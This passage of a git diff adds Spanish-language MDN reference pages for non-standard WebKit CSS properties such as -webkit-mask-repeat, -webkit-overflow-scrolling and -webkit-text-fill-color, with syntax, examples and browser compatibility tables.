+-webkit-mask-repeat-x: repeat;
+-webkit-mask-repeat-x: no-repeat;
+-webkit-mask-repeat-x: space;
+-webkit-mask-repeat-x: round;
+
+/* Múltiples valores */
+-webkit-mask-repeat-x: repeat, no-repeat, space;
+
+/* Valores globales */
+-webkit-mask-repeat-x: inherit;
+-webkit-mask-repeat-x: initial;
+-webkit-mask-repeat-x: unset;
+</pre>
+
+<h2 id="Valores">Valores</h2>
+
+<dl>
+ <dt>repeat</dt>
+ <dd>La imagen de máscara se repite tanto horizontal como verticalmente.</dd>
+ <dt>no-repeat</dt>
+ <dd>La imagen de máscara no se repite; sólo se dibuja una copia de la misma. El resto del contenido del elemento al cual se le ha aplicado la máscara, no es mostrado.</dd>
+ <dt>space</dt>
+ <dd>La imagen se repite tanta veces como sea posible pero sin aplicarle ningún recorte. La primera y la última imagen estarán pegadas a ambos lados del elemento y el espacio restante se distribuye de igual manera entre las imágenes. Se ignora la propiedad {{cssxref("mask-position")}} a menos que únicamente se pueda mostrar una sóla imagen sin aplicar recortes. El único caso en el que se aplican recortes usando este valor es cuando no hay suficiente espacio para mostrar una sóla imagen.</dd>
+ <dt>round</dt>
+ <dd>Al aumentar el espacio la imágenes repetidas pueden estiarse (sin dejar huecos) hasta que sólo haya hueco para añadir una más. Al añadir la siguiente se encogen para permitir el hueco.Ejemplo: Una imagen con una achura original de 260px, repetida 3 veces, puede estirarse hasta que cada repetición tenga una anchura de 300px y, entonces, se añadirá otra que se encogerá hasta 225px.</dd>
+</dl>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: css">.exampleone {
+  -webkit-mask-image: url('mask.png');
+  -webkit-mask-repeat-x: repeat;
+}
+
+.exampletwo {
+  -webkit-mask-image: url('mask.png');
+  -webkit-mask-repeat-x: no-repeat;
+}
+</pre>
+
+<h3 id="Soporte_para_múltiples_imágenes_de_máscara">Soporte para múltiples imágenes de máscara</h3>
+
+<p>Es posible especificar un  <code>&lt;repeat-style&gt;</code> diferente para cada una de las imágenes de máscara. Los distintos valores deben separarme mediante el uso de comas:</p>
+
+<pre class="brush: css">.examplethree {
+  -webkit-mask-image: url('mask1.png'), url('mask2.png');
+  -webkit-mask-repeat-x: repeat, space;
+}
+</pre>
+
+<p>Cada imagen se asocia con el correspondiente estilo de repetición, desde la primera hasta la última y siguiendo  el orden que se ha establecido.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Pese a que la propiedad sí que es reconocida, no acepta ningun valor.</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<p>{{cssxref("-webkit-mask-repeat")}}, {{cssxref("-webkit-mask-repeat-y")}}</p>
diff --git a/files/es/web/css/-webkit-mask-repeat-y/index.html b/files/es/web/css/-webkit-mask-repeat-y/index.html
new file mode 100644
index 0000000000..23f989db45
--- /dev/null
+++ b/files/es/web/css/-webkit-mask-repeat-y/index.html
@@ -0,0 +1,137 @@
+---
+title: '-webkit-mask-repeat-y'
+slug: Web/CSS/-webkit-mask-repeat-y
+tags:
+  - CSS
+  - Máscara CSS
+  - NeedsBrowserCompatibility
+  - NeedsMobileBrowserCompatibility
+  - No estandar
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/-webkit-mask-repeat-y
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <code>-webkit-mask-repeat-y</code> especifica si una imagen de máscara se repite(en mosaico) y cómo se lleva acabo esa repetición de manera vertical.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush:css">/* Palabras Clave Valor */
+-webkit-mask-repeat-y: repeat;
+-webkit-mask-repeat-y: no-repeat;
+-webkit-mask-repeat-y: space;
+-webkit-mask-repeat-y: round;
+
+/* Múltiples valores */
+-webkit-mask-repeat-y: repeat, no-repeat, space;
+
+/* Valores globales */
+-webkit-mask-repeat-y: inherit;
+-webkit-mask-repeat-y: initial;
+-webkit-mask-repeat-y: unset;
+</pre>
+
+<h2 id="Valores">Valores</h2>
+
+<dl>
+ <dt>repeat</dt>
+ <dd>La imagen se repite verticalmente</dd>
+ <dt>no-repeat</dt>
+ <dd>La imagen de máscara no se repite verticalmente; sólo se dibuja una copia de la misma. El resto del contenido del elemento al cual se le ha aplicado la máscara, no es mostrado.</dd>
+ <dt>space</dt>
+ <dd>La imagen se repite tanta veces como sea posible pero sin aplicarle ningún recorte. La primera y la última imagen estarán pegadas al borde superior e inferior del elemento  y el espacio restante se distribuye de igual manera entre las imágenes. Se ignora la propiedad {{cssxref("mask-position")}} a menos que únicamente se pueda mostrar una sóla imagen sin aplicar recortes. El único caso en el que se aplican recortes usando este valor es cuando no hay suficiente espacio para mostrar una sóla imagen.</dd>
+ <dt>round</dt>
+ <dd>Al aumentar el espacio vertical  la imágenes repetidas pueden estiarse (sin dejar huecos) hasta que sólo haya hueco para añadir una más. Al añadir la siguiente se encogen para permitir el hueco.Ejemplo: Una imagen con una altura original de 260px, repetida 3 veces, puede estirarse hasta que cada repetición tenga una altura de 300px y, entonces, se añadirá otra que se encogerá hasta una altura 225px.</dd>
+ <dd>As the allowed vertical space increases in size, the repeated images will stretch (leaving no gaps) until there is room for another one to be added. When the next image is added, all of the current ones compress to allow room. Example: An image with an original height of 260px, repeated three times, might stretch until each repetition is 300px high, and then another image will be added. They will then compress to a height of 225px.</dd>
+</dl>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: css">.exampleone {
+  -webkit-mask-image: url('mask.png');
+  -webkit-mask-repeat-y: repeat;
+}
+
+.exampletwo {
+  -webkit-mask-image: url('mask.png');
+  -webkit-mask-repeat-y: no-repeat;
+}
+</pre>
+
+<h3 id="Soporte_para_múltiples_imágenes_de_máscara">Soporte para múltiples imágenes de máscara</h3>
+
+<p>Es posible especificar un  <code>&lt;repeat-style&gt;</code> diferente para cada una de las imágenes de máscara. Los distintos valores deben separarme mediante el uso de comas:</p>
+
+<pre class="brush: css">.examplethree {
+  -webkit-mask-image: url('mask1.png'), url('mask2.png');
+  -webkit-mask-repeat-y: repeat, space;
+}
+</pre>
+
+<p>Cada imagen se asocia con el correspondiente estilo de repetición, desde la primera hasta la última y siguiendo  el orden que se ha establecido.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Pese a que la propiedad sí que es reconocida, no acepta ningun valor.</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<p>{{cssxref("-webkit-mask-repeat")}}, {{cssxref("-webkit-mask-repeat-x")}}</p>
diff --git a/files/es/web/css/-webkit-mask-repeat/index.html b/files/es/web/css/-webkit-mask-repeat/index.html
new file mode 100644
index 0000000000..50ff3bc603
--- /dev/null
+++ b/files/es/web/css/-webkit-mask-repeat/index.html
@@ -0,0 +1,132 @@
+---
+title: '-webkit-mask-repeat'
+slug: Web/CSS/-webkit-mask-repeat
+tags:
+  - CSS
+  - No estandar
+  - Propiedad CSS
+  - Referencia
+  - Web
+translation_of: Web/CSS/mask-repeat
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p><code><font face="Open Sans, Arial, sans-serif">La propiedad </font>-webkit-mask-repeat</code> especifica si la imagen de máscara se repite (en mosaico) y cómo se repite.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush:css">/* Palabras clave de valor únicas */
+-webkit-mask-repeat: repeat;
+-webkit-mask-repeat: repeat-x;
+-webkit-mask-repeat: repeat-y;
+-webkit-mask-repeat: no-repeat;
+
+/* Palabras clave de valor mútiple */
+-webkit-mask-repeat: repeat, repeat-x, no-repeat;
+
+/* Valores globlaes */
+-webkit-mask-repeat: inherit;
+-webkit-mask-repeat: initial;
+-webkit-mask-repeat: unset;
+</pre>
+
+<h2 id="Valores">Valores</h2>
+
+<dl>
+ <dt>repeat</dt>
+ <dd>La máscara de imagen se repite tanto vertical como horizontalmente.</dd>
+ <dt>repeat-x</dt>
+ <dd>La imagen de máscara de repite sólo horizontalmente.</dd>
+ <dt>repeat-y</dt>
+ <dd>La imagen de máscara de repite sólo verticalemente.</dd>
+ <dt>no-repeat</dt>
+ <dd>La máscara de imagen no se repite. Sólo se dibuja una copia suya. El resto del contenido del elemento con máscara no se muestra.</dd>
+</dl>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: css">.exampleone {
+  -webkit-mask-image: url('mask.png');
+  -webkit-mask-repeat: repeat-x;
+}
+
+.exampletwo {
+  -webkit-mask-image: url('mask.png');
+  -webkit-mask-repeat: no-repeat;
+}
+</pre>
+
+<h3 id="Soporte_para_múltiples_imágenes_de_máscara">Soporte para múltiples imágenes de máscara</h3>
+
+<p>Se puede especificar, seperados por comas,  un <code>&lt;repeat-style&gt;</code> para cada una de las imágenes de máscara:</p>
+
+<pre class="brush: css">.examplethree {
+  -webkit-mask-image: url('mask1.png'), url('mask2.png');
+  -webkit-mask-repeat: repeat-x, repeat-y;
+}
+</pre>
+
+<p>Cada imagen se relaciona con el correspondiente estilo, desde la primera especificada hasta la última.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>2.1</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<p>{{cssxref("-webkit-mask")}}, {{cssxref("-webkit-mask-box-image")}}, {{cssxref("-webkit-mask-clip")}}, {{cssxref("-webkit-mask-origin")}}, {{cssxref("-webkit-mask-attachment")}}, {{cssxref("-webkit-mask-image")}}, {{cssxref("-webkit-mask-composite")}}</p>
diff --git a/files/es/web/css/-webkit-mask/index.html b/files/es/web/css/-webkit-mask/index.html
new file mode 100644
index 0000000000..59b3a02370
--- /dev/null
+++ b/files/es/web/css/-webkit-mask/index.html
@@ -0,0 +1,124 @@
+---
+title: '-webkit-mask'
+slug: Web/CSS/-webkit-mask
+tags:
+  - CSS
+  - No estandar
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/mask
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <code>-webkit-mask</code> es una  manera corta de establecer, en un único sitio en una hoja de estilos, los valores individuales de máscara. <code>-webkit-mask </code> puede ser utilizado para fijar los valores en una o más de las siguiente propiedades: {{Cssxref("-webkit-mask-image")}}, {{Cssxref("-webkit-mask-repeat")}}, {{Cssxref("-webkit-mask-attachment")}}, {{Cssxref("-webkit-mask-position")}}, {{Cssxref("-webkit-mask-origin")}}, y {{Cssxref("-webkit-mask-clip")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush:css">/* Palabras clave valor */
+-webkit-mask: none;
+
+/* Valores de imágene */
+-webkit-mask: url(mask.png);                       /* Imagen de pixel usado coo máscara */
+-webkit-mask: url(masks.svg#star);                 /* Elemento dentro de un gráfico SVG usado como máscara */
+-webkit-mask: linear-gradient(transparent, black); /* Gradiente usado como máscara */
+
+/* Valores combinados */
+-webkit-mask: url(masks.svg#star) 40px 20px;       /* Elemento dentro de un gráfico SVG usado como máscara y posicionado  40px desde la parte superior y 20px a la izquierda */
+-webkit-mask: url(masks.svg#star) 0 0/50px 50px;   /* Elemento dentro de un gráfico SVG usado como máscara con una anchura y altura de 50px */
+-webkit-mask: url(masks.svg#star) repeat-x;        /* Elemento dentro de un gráfico SVG usado como una máscara que se repite horizontalmente */
+-webkit-mask: url(masks.svg#star) border;          /* Elemento dentro de un gráfico SVG usado como una máscara que sobrepasa la caja que rodea el borde */
+-webkit-mask: url(masks.svg#star) text;            /* Elemento dentro de un gráfico SVG usado como una máscara que recorta el texto que contiene */
+
+/* Valores globales */
+-webkit-mask: inherit;
+-webkit-mask: initial;
+-webkit-mask: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt>mask-image</dt>
+ <dd><em>Requierido</em>.Ver {{Cssxref("-webkit-mask-image")}}.</dd>
+ <dt>mask-repeat</dt>
+ <dd><em>Opcional</em>. Ver {{Cssxref("-webkit-mask-repeat")}}.</dd>
+ <dt>mask-attachment</dt>
+ <dd><em>Opcional</em> Ver {{Cssxref("-webkit-mask-attachment")}}.</dd>
+ <dt>mask-position</dt>
+ <dd><em>Opcional</em>. Ver {{Cssxref("-webkit-mask-position")}}.</dd>
+ <dt>mask-origin</dt>
+ <dd><em>Opcional</em>. Ver {{Cssxref("-webkit-mask-origin")}}.</dd>
+ <dt>mask-clip</dt>
+ <dd><em>Opcional</em> Ver {{Cssxref("-webkit-mask-clip")}}.</dd>
+</dl>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: css">.example {
+  -webkit-mask: url('mask.png') no-repeat fixed 20px 20px padding padding;
+}
+</pre>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>2.1</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{cssxref("-webkit-mask-origin")}}, {{cssxref("-webkit-mask-box-image")}}, {{cssxref("-webkit-mask-attachment")}}, {{cssxref("-webkit-mask-clip")}}, {{cssxref("-webkit-mask-image")}}, {{cssxref("-webkit-mask-composite")}}, {{cssxref("-webkit-mask-repeat")}}</li>
+</ul>
diff --git a/files/es/web/css/-webkit-overflow-scrolling/index.html b/files/es/web/css/-webkit-overflow-scrolling/index.html
new file mode 100644
index 0000000000..61d96b749d
--- /dev/null
+++ b/files/es/web/css/-webkit-overflow-scrolling/index.html
@@ -0,0 +1,85 @@
+---
+title: '-webkit-overflow-scrolling'
+slug: Web/CSS/-webkit-overflow-scrolling
+tags:
+  - CSS
+  - No estándar(2)
+  - Propiedad CSS
+  - Referencia CSS
+translation_of: Web/CSS/-webkit-overflow-scrolling
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propiedad CSS <code>-webkit-overflow-scrolling</code> controla si los dispositivos táctiles usan el desplazamiento momentum o inercial (momentum-based scroll) para el elemento dado.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Valores">Valores</h2>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Usa el desplazamiento (scroll) normal, donde el contenido deja inmediatamente de desplazarse cuando quitas el dedo de la pantalla.</dd>
+ <dt><code>touch</code></dt>
+ <dd>Use el desplazamiento momentum o inercial, donde el contenido sigue desplazándose después incluso de haber acabado el gesto de control y de haber quitado el dedo de la pantalla. La velocidad y duración de esta continuación es proporcional a cuán fuerte fue el gesto de desplazamiento o scroll. Además se crea un nuevo contexto de apilado (stacking context).</dd>
+</dl>
+
+<h3 id="Sintaxis_Formal">Sintaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="scroll-touch"&gt;
+  &lt;p&gt;
+    This paragraph has momentum scrolling
+  &lt;/p&gt;
+&lt;/div&gt;
+&lt;div class="scroll-auto"&gt;
+  &lt;p&gt;
+    This paragraph does not.
+  &lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  width: 100%;
+  overflow: auto;
+}
+
+p {
+  width: 200%;
+  background: #f5f9fa;
+  border: 2px solid #eaf2f4;
+  padding: 10px;
+}
+
+.scroll-touch {
+  -webkit-overflow-scrolling: touch; /* Lets it scroll lazy */
+}
+
+.scroll-auto {
+  -webkit-overflow-scrolling: auto; /* Stops scrolling immediately */
+}
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('Examples')}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación. Apple tiene una  <a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/StandardCSSProperties.html#//apple_ref/css/property/-webkit-overflow-scrolling">descripción en la Referencia CSS de Safari.</a></p>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{Compat("css.properties.-webkit-overflow-scrolling")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="http://css-tricks.com/snippets/css/momentum-scrolling-on-ios-overflow-elements/">Artículo en CSS-Tricks con ejemplo</a></li>
+ <li><a href="https://www.smashingmagazine.com/2018/08/scroll-bouncing-websites/">Smashing Magazine- describiendo el efecto del scroll con rebote y cómo funciona en diferentes navegadores</a></li>
+</ul>
diff --git a/files/es/web/css/-webkit-print-color-adjust/index.html b/files/es/web/css/-webkit-print-color-adjust/index.html
new file mode 100644
index 0000000000..67e3456e5a
--- /dev/null
+++ b/files/es/web/css/-webkit-print-color-adjust/index.html
@@ -0,0 +1,102 @@
+---
+title: '-webkit-print-color-adjust'
+slug: Web/CSS/-webkit-print-color-adjust
+tags:
+  - CSS
+  - Diseño
+  - No estándar(2)
+  - Propiedad CSS
+  - Web
+translation_of: Web/CSS/-webkit-print-color-adjust
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <code>-webkit-print-color-adjust</code> es una extensión CSS no estándar que puede ser usada para forzar la impresión de fondos e imágenes en navegadores basado en el motor WebKit.</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox">-webkit-print-color-adjust: economy | exact
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>economy</code></dt>
+ <dd>Comportamiento normal.  Los colores de fondo y las imágenes son sólo impresos si el usuario lo permite de manera explícita en el cuadro de diálogo de preferencias de impresión.</dd>
+ <dt><code>exact</code></dt>
+ <dd>Los colores de fondo y las imágenes del elemento en el que se aplica esta reglar son siempre impresos, la configuración de la impresora del usuario es ignorada.</dd>
+</dl>
+
+<h2 id="Herencia">Herencia</h2>
+
+<p>Esta propiedad es <a href="/en-US/docs/Web/Guide/CSS/Getting_started/Cascading_and_inheritance">heredada</a>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>Aún no es parte de ninguna especificación aunque hay una <a href="http://wiki.csswg.org/ideas/print-backgrounds">propuesta en la wiki de CSSWG</a> para que sea estandarizada.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6.0<sup>[2]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Chrome no soporta la impresión de fondo del elemento {{HTMLElement("body")}}. Si se fija la propiedad a  <code>exact</code> en el elemento body , sólo se aplicará a sus descendientes.</p>
+
+<p>Cuando se recortan las imágenes de fondo (por ejemplo cuando usamos sprites e imágenes de fondo), causado por el <a href="http://code.google.com/p/chromium/issues/detail?id=131054">Chromium bug 131054</a>,  las imágenes aparecerán distorsionadas al ser impresas desde el navegador Chrome con  <code>-webkit-print-color-adjust: exact</code>. Fondos de colores sólidos e imágenes de fondo que no sean recortadas (es decir que tengan menor anchura y altura que el elemento al que se aplican) serán impresas de manera correcta.</p>
+
+<p>[2] Safari no soporta la impresión de fondo del elemento {{HTMLElement("body")}}. Si se fija la propiedad a  <code>exact</code> en el elemento body , sólo se aplicará a sus descendientes.</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>WebKit <a href="https://bugs.webkit.org/show_bug.cgi?id=64583">bug 64583</a>: "WIP: Añade la propiedad CSS para controlar la impresión de fondos de elementos individuales"</li>
+ <li>CSSWG wiki: <a href="http://wiki.csswg.org/ideas/print-backgrounds">print-backgrounds</a> - una propuesta para estandarizar esta propiedad</li>
+ <li>Módulo Color CSS Nivel 4:  la propiedad  <code><a href="https://drafts.csswg.org/css-color-4/#color-adjust">color-adjust</a> </code>una propuesta más nueva para estandarizar esta propiedad</li>
+</ul>
diff --git a/files/es/web/css/-webkit-tap-highlight-color/index.html b/files/es/web/css/-webkit-tap-highlight-color/index.html
new file mode 100644
index 0000000000..065b35dac9
--- /dev/null
+++ b/files/es/web/css/-webkit-tap-highlight-color/index.html
@@ -0,0 +1,43 @@
+---
+title: '-webkit-tap-highlight-color'
+slug: Web/CSS/-webkit-tap-highlight-color
+tags:
+  - CSS
+  - NeedsCompatTable
+  - NeedsExample
+  - NeedsMobileBrowserCompatibility
+  - No estandar
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/-webkit-tap-highlight-color
+---
+<div>{{ CSSRef() }}</div>
+
+<p>{{ Non-standard_header() }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p><strong><code>-webkit-tap-highlight-color</code></strong> es una propiedad CSS no estándar que fija el color que sirve para destacar un enlace cuando se golpea  sobre él (normalmente con el dedo en dispositivos táctiles). Ese color destacado indica que se ha presionado correctamente e indica el elemento sobre el cuál se ha golpeado.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush: css">-webkit-tap-highlight-color: red;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<p>Un {{Cssxref("color value")}}.</p>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p><em>No es parte de ninguna especificación.</em> Apple tiene <a href="https://developer.apple.com/library/mac/documentation/AppleApplications/Reference/SafariWebContent/AdjustingtheTextSize/AdjustingtheTextSize.html#//apple_ref/doc/uid/TP40006510-SW5">una descripción en la Guía Web de Contenidos sobre Safari</a>.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>Soportado por WebKit/Safari, Blink/Chrome, y <a href="https://msdn.microsoft.com/es//library/dn806275(v=vs.85).aspx">y algunas versiones de Internet Explorer y Microsoft Edge.</a></p>
diff --git a/files/es/web/css/-webkit-text-fill-color/index.html b/files/es/web/css/-webkit-text-fill-color/index.html
new file mode 100644
index 0000000000..6882843fd7
--- /dev/null
+++ b/files/es/web/css/-webkit-text-fill-color/index.html
@@ -0,0 +1,100 @@
+---
+title: '-webkit-text-fill-color'
+slug: Web/CSS/-webkit-text-fill-color
+tags:
+  - CSS
+  - No estandar
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/-webkit-text-fill-color
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS -<strong><code>webkit-text-fill-color</code></strong> especifica el <a href="/en-US/docs/Web/CSS/color_value">color</a> de relleno de las letras de un texto. Si la propiedad no está establecidad se usará el valor de la propiedad {{cssxref("color")}}.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Compat', '#the-webkit-text-fill-color', '-webkit-text-fill-color')}}</td>
+   <td>{{Spec2('Compat')}}</td>
+   <td>Estandarización estándar</td>
+  </tr>
+  <tr>
